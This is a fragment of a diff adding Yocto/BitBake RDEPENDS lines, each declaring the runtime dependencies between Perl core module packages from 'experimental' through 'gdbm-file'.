+RDEPENDS:perl-module-experimental += "perl-module-version"
+RDEPENDS:perl-module-experimental += "perl-module-warnings"
+RDEPENDS:perl-module-exporter-heavy += "perl-module-strict"
+RDEPENDS:perl-module-exporter += "perl-module-exporter-heavy"
+RDEPENDS:perl-module-exporter += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-config"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-dynaloader"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-extutils-mksymlists"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-file-temp"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-ipc-cmd"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-text-parsewords"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-cbuilder += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-cbuilder += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-aix += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-aix += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-aix += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-android += "perl-module-config"
+RDEPENDS:perl-module-extutils-cbuilder-platform-android += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-android += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-android += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-cygwin += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-cygwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-cygwin += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-darwin += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-darwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-darwin += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-os2 += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-os2 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-os2 += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-unix += "perl-module-extutils-cbuilder-base"
+RDEPENDS:perl-module-extutils-cbuilder-platform-unix += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-unix += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-vms += "perl-module-config"
+RDEPENDS:perl-module-extutils-cbuilder-platform-vms += "perl-module-extutils-cbuilder-base"
+RDEPENDS:perl-module-extutils-cbuilder-platform-vms += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-vms += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-bcc += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-bcc += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-gcc += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-gcc += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-msvc += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-msvc += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-extutils-cbuilder-base"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-io-file"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-extutils-command"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-extutils-install"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-getopt-long"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-strict"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-test-harness"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-command += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-command += "perl-module-file-copy"
+RDEPENDS:perl-module-extutils-command += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-command += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-command += "perl-module-strict"
+RDEPENDS:perl-module-extutils-command += "perl-module-vars"
+RDEPENDS:perl-module-extutils-command += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-constant"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-extutils-constant-utils"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-text-wrap"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-vars"
+RDEPENDS:perl-module-extutils-constant += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-constant += "perl-module-extutils-constant-proxysubs"
+RDEPENDS:perl-module-extutils-constant += "perl-module-extutils-constant-utils"
+RDEPENDS:perl-module-extutils-constant += "perl-module-extutils-constant-xs"
+RDEPENDS:perl-module-extutils-constant += "perl-module-filehandle"
+RDEPENDS:perl-module-extutils-constant += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant += "perl-module-vars"
+RDEPENDS:perl-module-extutils-constant-proxysubs += "perl-module-extutils-constant-utils"
+RDEPENDS:perl-module-extutils-constant-proxysubs += "perl-module-extutils-constant-xs"
+RDEPENDS:perl-module-extutils-constant-proxysubs += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant-proxysubs += "perl-module-vars"
+RDEPENDS:perl-module-extutils-constant-utils += "perl-module-constant"
+RDEPENDS:perl-module-extutils-constant-utils += "perl-module-posix"
+RDEPENDS:perl-module-extutils-constant-utils += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant-utils += "perl-module-vars"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-data-dumper"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-extutils-constant"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-extutils-constant-base"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-extutils-constant-utils"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-vars"
+RDEPENDS:perl-module-extutils-embed += "perl-module-config"
+RDEPENDS:perl-module-extutils-embed += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-embed += "perl-module-extutils-liblist"
+RDEPENDS:perl-module-extutils-embed += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-embed += "perl-module-getopt-std"
+RDEPENDS:perl-module-extutils-embed += "perl-module-strict"
+RDEPENDS:perl-module-extutils-installed += "perl-module-config"
+RDEPENDS:perl-module-extutils-installed += "perl-module-data-dumper"
+RDEPENDS:perl-module-extutils-installed += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-installed += "perl-module-extutils-packlist"
+RDEPENDS:perl-module-extutils-installed += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-installed += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-installed += "perl-module-strict"
+RDEPENDS:perl-module-extutils-install += "perl-module-autosplit"
+RDEPENDS:perl-module-extutils-install += "perl-module-config"
+RDEPENDS:perl-module-extutils-install += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-install += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-install += "perl-module-extutils-packlist"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-compare"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-copy"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-install += "perl-module-strict"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-strict"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-text-parsewords"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-liblist += "perl-module-extutils-liblist-kid"
+RDEPENDS:perl-module-extutils-liblist += "perl-module-strict"
+RDEPENDS:perl-module-extutils-liblist += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-makemaker-config += "perl-module-config"
+RDEPENDS:perl-module-extutils-makemaker-config += "perl-module-strict"
+RDEPENDS:perl-module-extutils-makemaker-config += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-base"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-encode"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-encode-alias"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-i18n-langinfo"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-strict"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-b"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-cpan"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-makemaker-version"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-manifest"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-mm"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-my"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-strict"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-version"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-makemaker-version += "perl-module-strict"
+RDEPENDS:perl-module-extutils-makemaker-version += "perl-module-vars"
+RDEPENDS:perl-module-extutils-makemaker-version += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-config"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-file-copy"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-strict"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-miniperl += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-miniperl += "perl-module-extutils-embed"
+RDEPENDS:perl-module-extutils-miniperl += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mkbootstrap += "perl-module-config"
+RDEPENDS:perl-module-extutils-mkbootstrap += "perl-module-dynaloader"
+RDEPENDS:perl-module-extutils-mkbootstrap += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-mkbootstrap += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mkbootstrap += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mksymlists += "perl-module-config"
+RDEPENDS:perl-module-extutils-mksymlists += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-mksymlists += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mksymlists += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-aix += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-aix += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-aix += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-aix += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-autosplit"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-cpan"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-data-dumper"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-version"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-beos += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-beos += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-beos += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-beos += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-beos += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-cygwin += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-cygwin += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-cygwin += "perl-module-extutils-mm-win32"
+RDEPENDS:perl-module-extutils-mm-cygwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-cygwin += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-darwin += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-darwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-darwin += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-dos += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-dos += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-dos += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-dos += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-macos += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-macos += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-extutils-mm-win32"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-os2 += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-os2 += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-os2 += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-os2 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-os2 += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-os390 += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-os390 += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-os390 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-os390 += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm += "perl-module-extutils-liblist"
+RDEPENDS:perl-module-extutils-mm += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-qnx += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-qnx += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-qnx += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-encode"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-extutils-liblist"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-vars"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-version"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-uwin += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-uwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-uwin += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-liblist-kid"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-vos += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-vos += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-vos += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-win95 += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-win95 += "perl-module-extutils-mm-win32"
+RDEPENDS:perl-module-extutils-mm-win95 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-win95 += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-my += "perl-module-extutils-mm"
+RDEPENDS:perl-module-extutils-my += "perl-module-strict"
+RDEPENDS:perl-module-extutils-packlist += "perl-module-config"
+RDEPENDS:perl-module-extutils-packlist += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-packlist += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-constants += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-constants += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-parsexs-countlines += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-eval += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-eval += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-config"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-extutils-parsexs-constants"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-extutils-parsexs-countlines"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-extutils-parsexs-eval"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-extutils-parsexs-utilities"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-re"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-extutils-parsexs-constants"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-extutils-typemaps"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-pl2bat += "perl-module-config"
+RDEPENDS:perl-module-extutils-pl2bat += "perl-module-strict"
+RDEPENDS:perl-module-extutils-pl2bat += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-testlib += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-testlib += "perl-module-lib"
+RDEPENDS:perl-module-extutils-testlib += "perl-module-strict"
+RDEPENDS:perl-module-extutils-testlib += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps-cmd += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-typemaps-cmd += "perl-module-extutils-typemaps"
+RDEPENDS:perl-module-extutils-typemaps-cmd += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps-cmd += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps-inputmap += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps-inputmap += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps-outputmap += "perl-module-re"
+RDEPENDS:perl-module-extutils-typemaps-outputmap += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps-outputmap += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-parsexs"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-parsexs-constants"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-typemaps-inputmap"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-typemaps-outputmap"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-typemaps-type"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps-type += "perl-module-extutils-typemaps"
+RDEPENDS:perl-module-extutils-typemaps-type += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps-type += "perl-module-warnings"
+RDEPENDS:perl-module-fatal += "perl-module-autodie"
+RDEPENDS:perl-module-fatal += "perl-module-autodie-exception-system"
+RDEPENDS:perl-module-fatal += "perl-module-autodie-hints"
+RDEPENDS:perl-module-fatal += "perl-module-autodie-util"
+RDEPENDS:perl-module-fatal += "perl-module-config"
+RDEPENDS:perl-module-fatal += "perl-module-constant"
+RDEPENDS:perl-module-fatal += "perl-module-fcntl"
+RDEPENDS:perl-module-fatal += "perl-module-posix"
+RDEPENDS:perl-module-fatal += "perl-module-strict"
+RDEPENDS:perl-module-fatal += "perl-module-tie-refhash"
+RDEPENDS:perl-module-fatal += "perl-module-warnings"
+RDEPENDS:perl-module-fcntl += "perl-module-exporter"
+RDEPENDS:perl-module-fcntl += "perl-module-strict"
+RDEPENDS:perl-module-fcntl += "perl-module-xsloader"
+RDEPENDS:perl-module-fields += "perl-module-base"
+RDEPENDS:perl-module-fields += "perl-module-hash-util"
+RDEPENDS:perl-module-fields += "perl-module-strict"
+RDEPENDS:perl-module-file-basename += "perl-module-exporter"
+RDEPENDS:perl-module-file-basename += "perl-module-re"
+RDEPENDS:perl-module-file-basename += "perl-module-strict"
+RDEPENDS:perl-module-file-basename += "perl-module-warnings"
+RDEPENDS:perl-module-filecache += "perl-module-parent"
+RDEPENDS:perl-module-filecache += "perl-module-strict"
+RDEPENDS:perl-module-file-compare += "perl-module-exporter"
+RDEPENDS:perl-module-file-compare += "perl-module-warnings"
+RDEPENDS:perl-module-file-copy += "perl-module-builtin"
+RDEPENDS:perl-module-file-copy += "perl-module-config"
+RDEPENDS:perl-module-file-copy += "perl-module-exporter"
+RDEPENDS:perl-module-file-copy += "perl-module-file-basename"
+RDEPENDS:perl-module-file-copy += "perl-module-overload"
+RDEPENDS:perl-module-file-copy += "perl-module-strict"
+RDEPENDS:perl-module-file-copy += "perl-module-warnings"
+RDEPENDS:perl-module-file-dosglob += "perl-module-strict"
+RDEPENDS:perl-module-file-dosglob += "perl-module-text-parsewords"
+RDEPENDS:perl-module-file-dosglob += "perl-module-warnings"
+RDEPENDS:perl-module-file-dosglob += "perl-module-xsloader"
+RDEPENDS:perl-module-file-fetch += "perl-module-constant"
+RDEPENDS:perl-module-file-fetch += "perl-module-cwd"
+RDEPENDS:perl-module-file-fetch += "perl-module-file-basename"
+RDEPENDS:perl-module-file-fetch += "perl-module-file-copy"
+RDEPENDS:perl-module-file-fetch += "perl-module-filehandle"
+RDEPENDS:perl-module-file-fetch += "perl-module-file-path"
+RDEPENDS:perl-module-file-fetch += "perl-module-file-temp"
+RDEPENDS:perl-module-file-fetch += "perl-module-ipc-cmd"
+RDEPENDS:perl-module-file-fetch += "perl-module-locale-maketext-simple"
+RDEPENDS:perl-module-file-fetch += "perl-module-load"
+RDEPENDS:perl-module-file-fetch += "perl-module-params-check"
+RDEPENDS:perl-module-file-fetch += "perl-module-strict"
+RDEPENDS:perl-module-file-fetch += "perl-module-vars"
+RDEPENDS:perl-module-file-find += "perl-module-cwd"
+RDEPENDS:perl-module-file-find += "perl-module-exporter"
+RDEPENDS:perl-module-file-find += "perl-module-file-basename"
+RDEPENDS:perl-module-file-find += "perl-module-strict"
+RDEPENDS:perl-module-file-find += "perl-module-warnings"
+RDEPENDS:perl-module-file-find += "perl-module-warnings-register"
+RDEPENDS:perl-module-file-globmapper += "perl-module-file-glob"
+RDEPENDS:perl-module-file-globmapper += "perl-module-strict"
+RDEPENDS:perl-module-file-globmapper += "perl-module-warnings"
+RDEPENDS:perl-module-file-glob += "perl-module-exporter"
+RDEPENDS:perl-module-file-glob += "perl-module-strict"
+RDEPENDS:perl-module-file-glob += "perl-module-xsloader"
+RDEPENDS:perl-module-filehandle += "perl-module-exporter"
+RDEPENDS:perl-module-filehandle += "perl-module-fcntl"
+RDEPENDS:perl-module-filehandle += "perl-module-io-file"
+RDEPENDS:perl-module-filehandle += "perl-module-strict"
+RDEPENDS:perl-module-file-path += "perl-module-cwd"
+RDEPENDS:perl-module-file-path += "perl-module-exporter"
+RDEPENDS:perl-module-file-path += "perl-module-file-basename"
+RDEPENDS:perl-module-file-path += "perl-module-strict"
+RDEPENDS:perl-module-file-path += "perl-module-vars"
+RDEPENDS:perl-module-file-stat += "perl-module-class-struct"
+RDEPENDS:perl-module-file-stat += "perl-module-constant"
+RDEPENDS:perl-module-file-stat += "perl-module-exporter"
+RDEPENDS:perl-module-file-stat += "perl-module-fcntl"
+RDEPENDS:perl-module-file-stat += "perl-module-overload "
+RDEPENDS:perl-module-file-stat += "perl-module-strict"
+RDEPENDS:perl-module-file-stat += "perl-module-warnings"
+RDEPENDS:perl-module-file-stat += "perl-module-warnings-register"
+RDEPENDS:perl-module-file-temp += "perl-module-constant"
+RDEPENDS:perl-module-file-temp += "perl-module-cwd"
+RDEPENDS:perl-module-file-temp += "perl-module-errno"
+RDEPENDS:perl-module-file-temp += "perl-module-exporter"
+RDEPENDS:perl-module-file-temp += "perl-module-fcntl"
+RDEPENDS:perl-module-file-temp += "perl-module-file-path"
+RDEPENDS:perl-module-file-temp += "perl-module-io-seekable"
+RDEPENDS:perl-module-file-temp += "perl-module-overload"
+RDEPENDS:perl-module-file-temp += "perl-module-parent"
+RDEPENDS:perl-module-file-temp += "perl-module-posix"
+RDEPENDS:perl-module-file-temp += "perl-module-strict"
+RDEPENDS:perl-module-filter-simple += "perl-module-filter-util-call"
+RDEPENDS:perl-module-filter-simple += "perl-module-text-balanced"
+RDEPENDS:perl-module-filter-util-call += "perl-module-exporter"
+RDEPENDS:perl-module-filter-util-call += "perl-module-strict"
+RDEPENDS:perl-module-filter-util-call += "perl-module-warnings"
+RDEPENDS:perl-module-filter-util-call += "perl-module-xsloader"
+RDEPENDS:perl-module-findbin += "perl-module-cwd"
+RDEPENDS:perl-module-findbin += "perl-module-exporter"
+RDEPENDS:perl-module-findbin += "perl-module-file-basename"
+RDEPENDS:perl-module-findbin += "perl-module-strict"
+RDEPENDS:perl-module-findbin += "perl-module-warnings"
+RDEPENDS:perl-module-gdbm-file += "perl-module-exporter"
+RDEPENDS:perl-module-gdbm-file += "perl-module-strict"
+RDEPENDS:perl-module-gdbm-file += "perl-module-tie-hash"
